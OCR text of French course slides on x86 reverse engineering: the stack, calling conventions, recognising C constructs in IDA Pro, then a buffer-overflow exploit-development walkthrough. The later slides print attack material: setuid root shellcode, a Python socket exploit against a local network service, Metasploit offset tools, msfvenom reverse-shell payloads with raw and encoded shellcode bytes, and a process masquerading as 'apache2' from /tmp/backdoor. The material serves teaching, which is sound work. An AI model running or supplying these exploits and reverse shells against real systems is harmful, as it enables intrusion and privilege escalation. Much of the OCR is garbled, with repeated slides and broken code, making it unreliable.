* Cherchez la définition des instructions machines suivantes:

* Rep prefixe
* Lea (vs Mov)
* Nop

e Faire les exos 1-3 de la fiche de

NS
O
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Pile — Elément clés

Last in, First out

ESP (Extended Stack Pointer) — sommet de la pile

Instruction PUSH empiler des données

EBP (Extended Base Pointer) — Botton de la pile (base de la pile)

La pile d'un programme en exécution est partagée par toutes les fonctions du programme

e Instruction POP dépiler des données 37 89
push /‘qush 89
37
ESP \ =
24 24 24
R A
EBP 254 254 254
31 31 31
» Elle est utilisée dans lors d’appels de fonctions 173 173 173
avec l'instruction call = o 5o

N
N
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Pile — Elément clés

Last in, First out

ESP (Extended Stack Pointer) — sommet de la pile

Instruction PUSH empiler des données

EBP (Extended Base Pointer) — Botton de la pile (base de la pile)

La pile d'un programme en exécution est partagée par toutes les fonctions du programme

e Instruction POP dépiler des données 37 89
J push /‘qush 89
ESP \ / 37 37
24 24 24
— —

EBP 254 254 254
31 31 31
» Elle est utilisée dans lors d’appels de fonctions 173 173 173

avec l'instruction call . . .

pile pile pile

N
N
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Pile — Elément clés

Last in, First out

ESP (Extended Stack Pointer) — sommet de la pile

Instruction PUSH empiler des données

EBP (Extended Base Pointer) — Botton de la pile (base de la pile)

La pile d'un programme en exécution est partagée par toutes les fonctions du programme

e Instruction POP dépiler des données 37 89
/_) push /‘qush 89
37
ESP v »| 37
24 24 24
— —
EBP 254 254 254
31 31 31
» Elle est utilisée dans lors d’appels de fonctions 173 173 173
avec l'instruction call = o 5o

N
N
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Pile — Elément clés

Last in, First out

ESP (Extended Stack Pointer) — sommet de la pile

Instruction PUSH empiler des données

EBP (Extended Base Pointer) — Botton de la pile (base de la pile)

Instruction POP dépiler des données

37

89

La pile d'un programme en exécution est partagée par toutes les fonctions du programme

/“ push

/_) push
ESP >

| 4

24

EBP 54

31

» Elle est utilisée dans lors d’appels de fonctions 173
avec l'instruction call =

N
N
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89

37

24

254

31

173
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r/‘pop

37

24

254

31

173

pile
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Pile — Elément clés

Last in, First out

ESP (Extended Stack Pointer) — sommet de la pile

Instruction PUSH empiler des données

EBP (Extended Base Pointer) — Botton de la pile (base de la pile)

La pile d'un programme en exécution est partagée par toutes les fonctions du programme

e Instruction POP dépiler des données 37 89
push 89
37
ESP 37
24 24 24
—
EBP 254 254 254
31 31 31
» Elle est utilisée dans lors d’appels de fonctions 173 173 173
avec l'instruction call = o 5o

N
N
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Pile — Elément clés

Last in, First out

ESP (Extended Stack Pointer) — sommet de la pile

Instruction PUSH empiler des données

EBP (Extended Base Pointer) — Botton de la pile (base de la pile)

La pile d'un programme en exécution est partagée par toutes les fonctions du programme

e Instruction POP dépiler des données 37 89
push 89
37
ESP 37
24 24 24
—
EBP 254 254 254
31 31 31
» Elle est utilisée dans lors d’appels de fonctions 173 173 173
avec l'instruction call = o 5o

N
N
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Pile — Elément clés

Last in, First out

ESP (Extended Stack Pointer) — sommet de la pile

Instruction PUSH empiler des données

EBP (Extended Base Pointer) — Botton de la pile (base de la pile)

La pile d'un programme en exécution est partagée par toutes les fonctions du programme

e Instruction POP dépiler des données 37 89 89
/_)push /qush 89 r/pop
ESP v 37 - 37
24 24 24 24
—
EBP 254 254 254 254
31 31 31 31
» Elle est utilisée dans lors d’appels de fonctions 173 173 173 173
avec l'instruction call " e o e

N
N
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Pile — Appel de fonction

A suivre ici



https://efrei365net-my.sharepoint.com/:b:/g/personal/boussad_ait_salem_efrei_fr/EWmtM2FbSTlMibnuFSYU_wsBXsle-5sSPku6J5eDrQD_SA?e=lrrhLQ

Le résumé Vidéo

Vidéo a regarder
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Exo

* Faire les exos 4-5 de la fiche de 1D
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Convention d’appel de fonction

* cdecl : les parametres sont mis dans la pile de la droite vers la gauche et
c’est a la fonction appelante de nettoyer la pile a la fin de la fonction
appelée. La valeur de retour est sauvegardée dans le registre EAX

int test(int x, int y, int z);
int a, b, ¢, ret;

ret = test(a, b, c);

push c

push b

push a

call test
add esp, 12
mov ret, eax




Convention d’appel de fonction

e stdcall: Méme fonctionnement que cdecl sauf qu’ici c’est a la fonction
appelée de nettoyer la pile a la fin de son exécution

e C’est ce qui est utilisé par défaut par I’API Windows

int test(int x, int y, int z);
int a, b, ¢, ret;

ret = test(a, b, c);

push ¢
push b
push a

call test
mov ret, eax




Convention d’appel de fonction

* fastcall: Les premiers parametres (souvent deux) sont passés a la fonction
appelée via les registres (EDX et ECX dans Windows) et le reste obéit aux
mémes regles que la convention cdecl.



Convention d’appel de fonction

» Faire aussi attention a la fagon de récupérer les arguments dans la pile
* avec push (version Visual Studio)
* pop eax
+ avec mov (Version gcc)
* mov [ ebp + 4 |, eax



Fonction main

* Chaque programme C possede une fonction main

* int main(int argc, char** argv)
* argc le nombre d’arguments

* argv un pointeur vers le tableau d’arguments

* (C’est le point d’entré au programme



Fonction main

filetestprogram.exe -r filename.txt

argc = 3

argv[0] = filetestprogram.exe
argv[1] = -r

argv[2] = filename.txt

int main(int argc, char* argv[])

{ if (argc !'= 3) {return 0;}
if (strncmp(argv[1], "-r", 2) == 0){

DeleteFileA(argv([2]);

}

return 0;




Fonction main

#include <stdio.h>

int int char []
char ""apache? -k start !
while

$ /tmp/backdoor argl &

[1] 24896

$ cat /proc/24896/cmdline | xxd

0000000: 6170 6163 6865 3200 2deb 0073 7461 7274 apache2.-k.start
0000010: 00

$ ps aux | grep 24896
vol 248% 0.0 0.0 3932 316 pts/2 S 10:00 0:00 apache2 -k start



Reconnaissance des constructions C
dans le code en assembleur avec IDA

PRO




Désassembleur

* Retrouver le code assembleur a partir d’un fichier binaire
(ELF, PE)
* Linear Sweep Disassembly
* Couvre la totalité du code
* Ne gere pas du code inclus dans le code

* Recursive disassembly

* Permet de contourner les données incluses dans le code

* (C’est la méthode par défaut de la plupart des désassembleur
comme IDA-Pro

* Plus compliquée a réaliser (ex. gérer les sauts indirects)

ELF, PE

A

Disassembler (IDA PRO, GHIDRA,
Radare 2, Binary Ninja, etc.)

A

Code en
assembleur

TAnaIyser




Désassembleur

* Retrouver le code assembleur a partir d’un fichier binaire
(ELF, PE)
* Linear Sweep Disassembly
* Couvre la totalité du code
* Ne gere pas du code inclus dans le code

* Recursive disassembly

* Permet de contourner les données incluses dans le code

* (C’est la méthode par défaut de la plupart des désassembleur
comme IDA-Pro

* Plus compliquée a réaliser (ex. gérer les sauts indirects)

Linear

/
BB, f,
cmp ecx, edx
jl BB,
jmp BB,

BB

1
mov eax, [fptr+ecx]

call eax

BB,
mov eax, [fptr+edx]

call eax

£ )
C )

1,

Recursive
~
(88, 7,
cmp ecx, edx
j1 BB,
jmp BB,
BB,
mov eax,[fptr+ecx]
call eax
BB,
mov eax, [fptr+edx]
call eax
/
s )
s )




Variables Globales Vs Variables locales

* Les variable globales sont référencées par des
adresses mémoires

* Les variables locales sont référencées par rapport
a EBP ou ESP

00401003 mov eax, dword_40CF60

00401008 add eax, dword_40C000

0040100E mov dword_40CF60, eax @
00401013 mov ecx, dword 40CF60

00401019 push ecx

0040101A push offset aTotalD ;"total = %d\n"
0040101F call printf

00401006 mov dword ptr [ebp-4], 0
0040100D mov dword ptr [ebp-8], 1
00401014 mov eax, [ebp-4]

00401017 add eax, [ebp-8]

0040101A mov [ebp-4], eax

0040101D mov ecx, [ebp-4]

00401020 push ecx

00401021 push offset aTotalD ; "total = %d\n"
00401026 call printf

00401006 mov [ebp+var_4], 0

0040100D mov [ebp+var 8], 1

00401014 mov eax, [ebp+var_4]

00401017 add eax, [ebp+var 8]

0040101A mov [ebp+var_4], eax

0040101D mov ecx, [ebp+var_4]

00401020 push ecx

00401021 push offset aTotalD ; "total = %d\n"
00401026 call printf




Construction if

 Un saut conditionnel doit exister, mais

s int x = 1;
pas tous les sauts conditionnels int y - 2,
. N . . =5
conduisent a une construction if
if(x == y){
printf("x equals y.\n");
telse{
printf("x is not equal to y.\n");
}
00401006 mov [ebp+var 8], 1
0040100D mov [ebp+var 4], 2
00401014 mov eax, [ebp+var 8]
00401017 cmp eax, [ebpt+var 4] @
0040101A jnz short loc_40102B &
0040101C push offset aXEqualsY_ ; "x equals y.\n"
00401021 call printf
00401026 add esp, 4
00401029 jmp short loc_401038 ©
0040102B loc_40102B:
0040102B push offset aXIsNotEqualToY ; "x is not equal to y.\n"

00401030 call printf




Construction if

« IDA PRO en mode graphique permet de mieux
visualiser des constructions if complexes

int x
int y
int z

o n
N = O
. . R

if(x == y){
if(z==0){
printf("z
telse{
printf("z
}

telse{
if(z==0){
printf("z
}else{
printf("z
}

is zero and x = y.\n");

is non-zero and x = y.\n");

zero and x != y.\n");

non-zero and x != y.\n");




Construction if

« IDA PRO en mode graphique

permet de mieux visualiser des
constructions if complexes

00401006
0040100D
00401014
0040101B
0040101E
00401021
00401023
00401027
00401029
0040102E
00401033
00401036
00401038
00401038
0040103D
00401042
00401045
00401045
00401047
00401047
0040104B
0040104D
00401052
00401057
0040105A
0040105C
0040105C
00401061

mov
mov
mov
mov
cmp
jnz
cmp
jnz
push
call
add
jmp
loc_401038:
push
call
add
loc_401045:
Jmp
loc_401047:
cmp
jnz
push
call
add
Jmp
loc_40105C:
push
call

[ebp+var_8], o
[ebp+var 4], 1
[ebp+var (], 2

eax, [ebp+var_8]
eax, [ebp+var 4]
short loc_401047 @
[ebp+var C], 0
short loc_401038 @
offset aZIsZeroAndXY_ ; "z is zero and x = y.\n"
printf

esp, 4

short loc_401045

offset aZIsNonZeroAndX ; "z is non-zero and x = y.\n"
printf
esp, 4

short loc_401069

[ebp+var C], 0

short loc_40105C ©

offset aZZeroAndXY_ ; "z zero and x != y.\n"
printf

esp, 4

short loc_401069

offset aZNonZeroAndXY_ ; "z non-zero and x != y.\n"
printf00401061




Construction if

« IDA PRO en mode graphique permet de mieux
visualiser des constructions if complexes

* Le lien true en vert et le le lien faux en rouge

mov
mov
mov
cmp
jnz

sub_401000:

push ebp

mov ebp, esp
sub esp, 8

[ebp+var_8], 1
[ebp+var_4], 2
eax, [ebp+var 8]
eax, [ebp+var_4]
short loc_40102B

—

O false

|

l"""""""'T

® true

push
call
add

Jmp

offset aXEqualsY_; "x equals y.\n"

sub_40103E
esp, 4
short loc_401038

A

y

loc_40102B:
push offset aXIsNotEqualToY; "x is not equal to y.\n"
call sub_40103E
add esp, 4
}

loc_401038:

Xor eax, eax

mov esp, ebp

pop ebp

retn




Boucle for

* La boucle est reconnue en identifiant les étapes:

Initialisation (1)
Incrémentation (3-4)
Comparaison (5) et (6)
Le saut inconditionnel (7)

00401004
00401008
0040100D
0040100D
00401010
00401013
00401016
00401016
0040101A
0040101C
0040101F
00401020
00401025
0040102A
0040102D

mov [ebp+var 4], 0 ©

jmp short loc_401016 @
loc_40100D:

mov eax, [ebp+var 4] ©

add eax, 1

mov [ebp+var 4], eax @
loc_401016:

cmp [ebp+var 4], 64h ©

jge short loc_40102F ©

mov ecx, [ebp+var_4]

push ecx

push offset aID ; "i equals %d\n"

call printf

add esp, 8

jmp short loc_40100D0 @




Boucle for

* La boucle est reconnue en identifiant les étapes:

Initialisation (1)
Incrémentation (3-4)
Comparaison (5) et (6)
le saut inconditionnel (7)

sub_401000:

push ebp

mov ebp, esp

push ecx

mov [ebp+var_4], o

jmp short loc_401016
loc_401016:

cmp [ebp+var_4], 64h
jge short loc_40102F

—

false

|

mov
push
push
call
add

jmp

ecx, [ebptvar_4]
ecx

offset alEqualsD; "i equals %d\n"

sub_401035
esp, 8
short loc_40100D

—

true
4
loc_40100D: loc_40102F:
mov eax, [ebp+var 4] Xor eax, eax
add eax, 1 mov esp, ebp
mov [ebp+var_4], eax pop ebp

retn




Boucle while

* La boucle while est tres souvent utilisée par les
malware pour, par exemple, attendre un
événement particulier telle que la réception d’une
commande ou d’'un paquet

* Méme structure que la boucle for sans
I'incrémentation



Construction switch

* Deux maniere de compiler le switch
» Style if
e Jump table



Construction switch

* Style if

switch(i)
{
case 1:
printf("i
break;
case 2:
printf("i
break;
case 3:
printf("i
break;
default:
break;

%d", i+1);

%d", i+2);

%d", i+3);

00401013
00401017
00401019
0040101D
0040101F
00401023
00401025
00401027
00401027
0040102A
0040102D
0040102E
00401033
00401038
0040103B
0040103D
0040103D
00401040
00401043
00401044
00401049
0040104E
00401051
00401053
00401053
00401056
00401059
0040105A
0040105F
00401064

cmp
jz
cmp
jz
cmp
jz
Jjmp
loc_401027:
mov
add
push
push
call
add
jmp
loc_40103D:
mov
add
push
push
call
add
Jjmp
loc_401053:
mov
add
push
push
call
add

[ebp+var 8], 1
short loc_401027 @
[ebp+var_8], 2
short loc_40103D
[ebp+var_8], 3
short loc_401053
short loc 401067 @

ecx, [ebp+var 4] ©
ecx, 1

ecx

offset unk_40C000 ;
printf

esp, 8

short loc_401067

edx, [ebp+var 4] @
edx, 2

edx

offset unk_40C004 ;
printf

esp, 8

short loc_401067

eax, [ebp+var 4] ©
eax, 3

eax

offset unk_40C008 ; i
printf

esp, 8

i=7%

%d

%d




Construction switch

e Jump table

switch(i)
{
case 1:
printf("i
break;
case 2:
printf("i
break;
case 3:
printf("i =
break;
case 4:

%dll y

%dll ,

%dll’

default:
break;

00401016
00401019
0040101C
00401020
00401022
00401025
0040102C

00401040
00401042

00401056
00401058

0040106C
0040106E

00401082
00401082
00401084
00401086
00401087
00401087
00401088
0040108C
00401090
00401094

%
Jump table

sub
mov
cmp
ja

mov
jmp

ecx, 1

[ebp+var_8], ecx
[ebp+var_8], 3

short loc_401082

edx, [ebp+var_8]
ds:off_401088[edx*4] @

loc_ g40102C: <+no—

jmp

short loc_401082

loc_401042:

jmp
loc_401058:

short loc_401082

jmp

short loc_401082

loc 40106E: <— — |

loc_401082:
Xor
mov
pop
retn
_main  endp
@off_401088

eax, eax
esp, ebp
ebp

dd offset loc_40102C
dd offset loc_401042
dd offset loc_401058
dd offset loc_40106E




Construction switch

e Jump table

switch(i)
{
case 1:
printf("i
break;
case 2:
printf("i
break;
case 3:
printf("i
break;
case 4:
printf("i
break;
default:
break;

%dll y

%dll ,

%dll ,

%d“’

i+1);

i+2);

i+3);

true

loc_40106E:

mov  eax, [ebp+var 4]
add eax, 3

push  eax

loc_401082:
Xxor eax, eax
mov esp, ebp
pop ebp

retn

sub_401000:
push  ebp
mov ebp, esp
sub esp, 8
mov [ebp+var 4], 3
mov eax, [ebp+var 4]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_8], 3
Jja short loc_401082
false
mov edx, [ebp+var_8]
Jmp ds:off_401088[edx*4]

push offset aID 2 ; "1 = %d"
call  sub_401098

add esp, 8

loc_401042:

mov ecx, [ebp+var_4]

add ecx, 2

push ecx

push offset aID 0 ; "1 = %d"

call  sub_401098
add  esp, 8
jmp  short loc_401082

loc_401058:

mov  edx, [ebp+var 4]
add edx, 3

push  edx

push offset aID_ 1 ;
call  sub_401098

add  esp, 8

jmp  short loc_401082

"1 = %d"

loc_40102C:

mov  eax, [ebp+var 4]
add eax, 1

push  eax

push  offset aID ;
call  sub_401098
add  esp, 8

Jmp short loc_401082

"1 - %"




Tableaux

 Ils sont parcourus en utilisant une
adresse de base comme point de départ

et la taille de chaque élément peut éetre int b[5] = {123,87,487,7,978};
déterminé en analysant comment le ‘{’Oid main()
tableau est indexé int 1i;
int a[5];
for(i = 0; i<5; i++)
{
al[i] = i;
b[i] = i;
}




Tableau

int b[5] = {123,87,487,7,978};
void main()

{

int i;
int a[5];

for(i =

{

a[i]
b[1]

0; i<5; i++)

i;

=i;

00401006
0040100D
0040100F
0040100F
00401012
00401015
L———> 00401018
00401018
0040101C
0040101E
00401021
00401024
00401028
0040102B
0040102E
00401035

mov
Jjmp

loc_40100F:

mov
add
mov

loc_401018:

cmp
jge
mov
mov
mov
mov
mov
mov

Jmp

[ebp+var_ 18], o
short loc_401018

eax, [ebp+var_ 18]
eax, 1
[ebp+var 18], eax

[ebp+var 18], 5

short loc_401037

ecx, [ebp+var 18]

edx, [ebp+var 18]
[ebp+ecx*4+var 14], edx @
eax, [ebp+var 18]

ecx, [ebp+var 18]

dword 40A000[ecx*4], eax @
short loc_40100F




Structure

« Méme chose que pour les tableaux sauf que les éléments sont de types
différents.



Classes et objets

class SimpleClass { ;Main Function
public: 00401100 push  ebp
. 00401101 mov ebp, esp
int x; 00401103 sub esp, 1Foh
void HelloWorld() { 00401109 mov [ebpsvar_10], offset off 404768
(1) if ( x == 10) printf("X is 10.\n"); 00401110 @mov [ebp+var (], 9
} 00401117 ©lea ecx, [ebp+var_10]
0040111A call  sub_4115D0
0040111F mov [ebp+var_34], offset off_404768
1 00401126 mov [ebp+var_30], oAh
00401120 lea ecx, [ebpsvar_34]
int _tmain(int argc, TCHAR* argv[]) O4oR13a calk:  <amyAIShO
{ ;HelloWorld Function
SimpleClass myObject; 00411500 push  ebp
meObject,x = 9; 00411501 mov ebp, esp
©myObject.HelloWorld(); miizgg S:sh 114 9Ch
SimpleClass myOtherObject; 004115DA gush a5l
myOtherOject.x = 10; 00411508 push  edi
myOtherObject.HelloWorld(); 0041150C mov [ebp+var_4], ecx
} 0041150F mov eax, [ebp+var_4)
004115E2 (1) cmp dword ptr [eax+4], OAh
004115E6 jnz short loc_4115F6
004115E8 push offset aXIs10_ ; "X is 10.\n"
004115ED call  ds:__imp_ printf

LUobjet this est transmis via le registre ecx
ou esi



Butter Over Flow




Principe

e Soit la déclaration de la variable locale strl : | char strl [10]

= Que se passera-t-il si ’on fait appel a cette fonction 7

strcpy ( strl, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"Y)




Principe

/* overflow.c x/

char

S gce -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o overflow
overflow.c

S ./overflow
09963: Segmentation fault

=>» Pourquoi obtient-on une erreur de segmentation ??



Principe

/* overflow.c x/

Sgdb --q overflow

(gdb) run

Starting program: /book/overflow

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) info reg eip

eip 0x41414141 0x41414141

(gdb) q

A debugging session is active.

Do you still want to close the debugger?(y or n) y

S



Conséquence

* Si un attaquant arrive a contrdler le contenu du registre EIP (autre avaleur que AAAA),
alors il pourra exécuter son propre code « Shellcode »

« Si le SUID du programme vulnérable est activé, alors 'attaquant pourra méme élever ses
privileges

S chmod u+s overflow

S s -l overflow
-rwsr-sr-x 1 root root 11643 May 28 12:42 overflow

* Ceci s’appelle « exploiter une vulnérabilité de Buffer-Over-Flow »



Eléments d’un exploit

« NOP Sled

* 0x90 dans les processeurs x86
* Placés au début d’un shellcode

e Shellcode

» Utilisé historiquement pour fournir un shell & un attaquant

e (C’est un code binaire écrit en hexadécimal



Eléments d’un exploit

e Shellcode

//shellcode.c
char [1 = //setuid(0)
! " //setuid(0Q) first
! /bin/sh"
int
int //ret pointer for manipulating saved return.
int //set ret to point to the saved return
//value on the stack.
int //change the saved return value to the
//address of the shellcode, so it executes.

#// root
# gcc -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o shellcode shellcode.c

# chmod u+s shellcode



Eléments d’un exploit

e Shellcode

# su user // basculer vers un utilisateur lambda
S./shellcode

#id

uid=0(root) gid=1001(user) groups=0(root),1001(user)

 Repeating Return Addresses

|—> Exploit Buffer
* L’¢lément le plus important dans un

exploit est d’adresse (la valeur) qui va NOP Sled Shellcode

écraser l'adresse retour sauvegardée dans
la pile

Repeated
Addresses

Vulnerable Buffer EBP | EIP

* Celle-ci doit étre alignée et répétée
jusqu’a écraser 'EIP sauvegardé (I’adresse
retour) dans la pile

<

@ basses @ hautes

* Sa valeur est souvent ’adresse du milieu
du NOP Sled du shellcode ) _ _
I'adresse écrase I'EIP et pointe vers le NOP Sled et glisse

vers le shellcode



Eléments d’un exploit

 Repeating Return Addresses

* Pour connaitre cette adresse, vous devez connaitre la valeur du registre ESP du programme
avant l'exploitation du programme

#include <stdio.h>
unsigned int get_sp(void){
__asm__("movl eax, esp");
}
int main(){
printf("Stack pointer (ESP): 0x%x\n", get_sp());
}
# gcc -0 get_sp get_sp.c
# ./get_sp
Stack pointer (ESP): Oxbffff4f8

=» Nous pouvons maintenant estimer le début du buffer vulnérable



Développement d’exploits

Controler le registre EIP

Déterminer les offset(s)

Déterminer le vecteur d’attaque

Construire 'exploit

Tester 1'exploit

Eventuellement débugger 1’exploit



Développement d’exploits

Controler le registre EIP

* Le programme vulnérable de I’étude est une application réseau écoutant sur le port 5555

# netstat -anlp | grep application
tcp 0 0.0.0.0:5555 0.0.0.0:* LISTEN 772/application

* Pour trouver une faille dans ce programme, on envoie une chaine de caracteres via le programme
nc

root@kali:~/book# perl -e 'print "A"x8096' | nc localhost 5555

= P’application se comporte différemment avec une chaine trés longue. Pour
comprendre ce qui se passe, on lance application avec gdb dans une fenétre et on
envoie la chaine de caractéres dans une autre fenétre



Développement d’exploits

Controler le registre EIP

* D’apres le résultat dans gdb, nous avons un buffer-over-flow classique et nous avons écrasé le
registre EIP

root@kali:~/book# gdb -q application

Reading symbols from /root/book/ application

(gdb) set follow-fork-mode child application ...(nc debugging symbols found)...done.
[gdb) run

Starting program: /root/book/ application

[New process 777]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 777]

3x41414141 in ?7 ()

[gdb) i r eip esp ebp

leip 6x41414141 0x4141414] =
sp OXbTTTT408 UXbTTTT4bE

Fbp 0x41414141 0x4141414]1 <
[gdb) []




Développement d’exploits

 Déterminer ’offset
* Trouver combien de caracteres sont nécessaires pour écraser le contenu du registre EIP

#!/usr/bin/python
import socket

# Total Length of Buffer String
socket.socket

"localhost" # Connect to server
# Receilve Banner
"TAM "\n" # Build Exploit String

# Send Exploit String




Développement d’exploits

 Déterminer ’offset
* Trouver combien de caracteres sont nécessaires pour écraser le contenu du registre EIP

root@kali:~/book# gdb -q application

Reading symbols from /root/book/ application

(gdb) set follow-fork-mode child application ...(no debugging symbols found)...dona.
[gdb) run

Starting program: /root/book/ application

[New process 777]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 777]

Gx41414141 in 77 ()

[gdb) i r eip esp ebp

ip 0x41414141 Dx4141414] =
sp Oxbffffdos Oxbffff4b8
bp 0x41414141 Ox4141414] *

[gdb) []




Développement d’exploits

e Déterminer ’offset

* Trouver combien de caracteres sont nécessaires pour écraser le contenu du registre EIP
=>» Utiliser un pattern Metasploit / Python

# /usr/share/metasploit-framework/tools/pattern_create.rb 1024

AaOAalAa2Aa3AadAa5AabAa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6AL7AB8ADIACOAC
1Ac2Ac3Ac4Ac5Ac6Ac7Ac8AC9AdOAdIAd2Ad3AdAAd5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A
e3AedAe5Ae6Ae7Ae8Ae9ATOAT1IAT2Af3AFAATSAT6AT7ATBATIAgOAg1Ag2Ag3Ag4
Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4AhRSAhR6Ah7AR8AhIAIOAI1AI2AIBAI4AISAI
6Ai7AI8AI9Aj0Aj1Aj2Aj3AjAAjSAj6A]7Aj8Aj9AKOAKIAK2AK3AKAAKSAK6AK7A
k8AKIAIOAILAI2AIZAI4AISAIBAI7AIBAI9AMOAMIAM2AM3AMAAMSAMBAM7AM8AMI
AnOANn1An2An3An4An5An6An7An8An9A00A01A02A03A04A05A06A07A08A09AP0AD
1Ap2Ap3Ap4Ap5Ap6Ap7Ap8AP9AqOAql1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1IAr2A
r3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8AsIALOALIAL2AL3At4
At5At6At7At8At9AUOAULAU2AU3AU4AUSAUBAU7AUBAUIAVOAVIAV2AV3AVAAVS5AY
6AV7AVBAVOAWOAWIAW2AW3AWAAWSAWEAW7AWBAWIAXOAX1IAX2AX3AX4AX5AX6AXTA
x8Ax9AY0Ay1Ay2Ay3Ay4Ay5Ay6AY7Ay8AYy9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9
BaOBalBa2Ba3Ba4Ba5Ba6bBa7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9BCcOBC
1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B
e3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4
Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B




Développement d’exploits

 Déterminer ’offset
* Trouver combien de caracteres sont nécessaires pour écraser le contenu du registre EIP
=>» Utiliser un pattern Metasploit / Python

= Ajouter le pattern au script python
=>» On obtient sur gdb

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 28006]

0x41386941in?2() <

Cip
LT

=>» Utiliser pattern__offset pour déterminer I'’emplacement de 0x41386941 dans le pattern

root@kali:~/book# /usr/share/metasploit-framework/tools/pattern_offset.rb \
0x41386941 1024
[*] Exact match at offset 264 < Offset avant que EIP soit écrasé




Développement d’exploits

 Déterminer le vecteur d’attaque

* Déterminer 'adresse dans la pile vers laquelle se brancher afin d’exécuter le shellcode
* Ajouter un NOP Sled a notre code



Développement d’exploits

 Déterminer le vecteur d’attaque

#!/usr/bin/python
import socket

# Total Length of Buffer String N OXdooop
# Offset to EIP

“" # Shellcode Block
IIAII

# Length of NOP Sled
"BBBB" # Dummy EIP overwrite

socket.socket
"localhost" # Connect to server
# Receive Banner

“" # Build Exploit String
IIAII 11 11
IICII

# Send Exploit String Or FEfpep




Développement d’exploits

 Déterminer le vecteur d’attaque

#!/usr/bin/python
import socket

# Total Length of Buffer String 1 ©xoreoon
# Offset to EIP
MA A A 4
" # Shellcode Block A AR
IIAII =
# Length of NOP Sled ey - off ;
"BBBB" # Dummy EIP overwrite '
socket.socket ‘L AT A A
"localhost" # Connect to server 35 p
# Receive Banner %
| e Rl N:: Nop b Nop
“" # Build Exploit String T ;;P

npn n
||C|| ISC. OIF‘FFF‘FP

# Send Exploit String




Développement d’exploits

 Déterminer le vecteur d’attaque

(gdb) set follow-fork-mode child

(gdb) c

Continuing.

[New process 28250]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 28250]

0x42424242 in ?? () EIP est écrasé par B
(gdb) x/32x Sesp

Oxbffff4b8: 0x90909090 0x90909090 0x90909090 0x90909090
Oxbffff4c8; 0x90909090 0x90909090 0x90909090 0x90909090
Oxbffff4d8:0x43434341 0x43434343 0x43434343 0x43434343
Oxbffff4e8:0x43434343 0x43434343 0x43434343 0x43434343

jmp



Développement d’exploits

e Générer le shellcode

root@kali:~/book# msfvenom -a x86 --platform Linux --payload linux/x86/shell_reverse_tcp \ LHOST=127.0.0.1
LPORT=8675R -f python

# linux/x86/shell_reverse_tcp - 68 bytes

# http://www.metasploit.com

# VERBOSE=false, LHOST=192.168.1.90, LPORT=8675,

# ReverseConnectRetries=5, ReverseAllowProxy=false,

# PrependFork=false, PrependSetresuid=false,

# PrependSetreuid=false, PrependSetuid=false,

# PrependSetresgid=false, PrependSetregid=false,

# PrependSetgid=false, PrependChrootBreak=false,

# AppendExit=false, InitialAutoRunScript=, AutoRunScript=

buf =""

buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
buf += "\xa8\x01\x5a\x68\x02\x00\x21\xe3\x89\xe1\xb0\x66\x50"
buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73"
buf += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
buf += "\x0b\xcd\x80"




Développement d’exploits

e Générer le shellcode

root@kali:~/book#tmsfvenom -a x86 --platform Linux --payload linux/x86/shell_reverse_tcp
LHOST=127.0.0.1 LPORT=8675 R -b '\x00\x0a' -e x86/shikata_ga_nai -f python

[*] x86/shikata_ga_nai succeeded with size 95 (iteration=1)
buf=""

buf += "\xba\x7a\xb4\xe5\x31\xda\xde\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x12\x83\xee\xfc\x31\x56\x0e\x03\x2c\xba\x07"
buf += "\xc4\xe1\x19\x30\xc4\x52\xdd\xec\x61\x56\x68\xf3\xc6"
buf += "\x30\xa7\x74\xb5\xe5\x87\x4a\x77\x95\xa1\xcd\x7e\xfd"
buf += "\xf1\x86\x80\xa7\x99\xd4\x82\x76\xb9\x50\x63\xc8\x5b"
buf += "\x33\x35\x7b\x17\xb0\x3c\x9a\x9a\x37\x6c\x34\x0a\x17"
buf += "\xe2\xac\x3c\x48\x66\x45\xd3\x1f\x85\xc7\x78\xa9\xab"
buf += "\x57\x75\x64\xab"




Développement d’exploits

* Tester 'exploit

#!/usr/bin/python
import socket
1024 # Total Length of Buffer String
264 # Offset to EIP
""" # Shellcode Block
"\xba\x7a\xb4\xe5\x31\xda\xde\xd9\x74\x24\xf4\x5e\x33"
"\XCO\xbI1\x12\x83\xee\xfc\x31\x56\x0e\x03\x2c\xba\x07"
"\xc4\xeI1\x19\x30\xc4\x52\xdd\xec\x61\x56\x68\xf3\xc6"
"\x30\xa7\x74\xb5\xe5\x87\x4a\x77\x95\xal\xcd\x7e\xfd"
"\xT1\x86\x80\xa7\x99\xd4\x82\x76\xb9\x50\x63\xc8\x5b"
"\x33\x35\x7b\x17\xb0\x3c\x9a\x9a\x37\x6c\x34\x0a\x17"
"\xe2\xac\x3c\x48\x66\x45\xd3\x1f\x85\xc7\x78\xa9\xab"
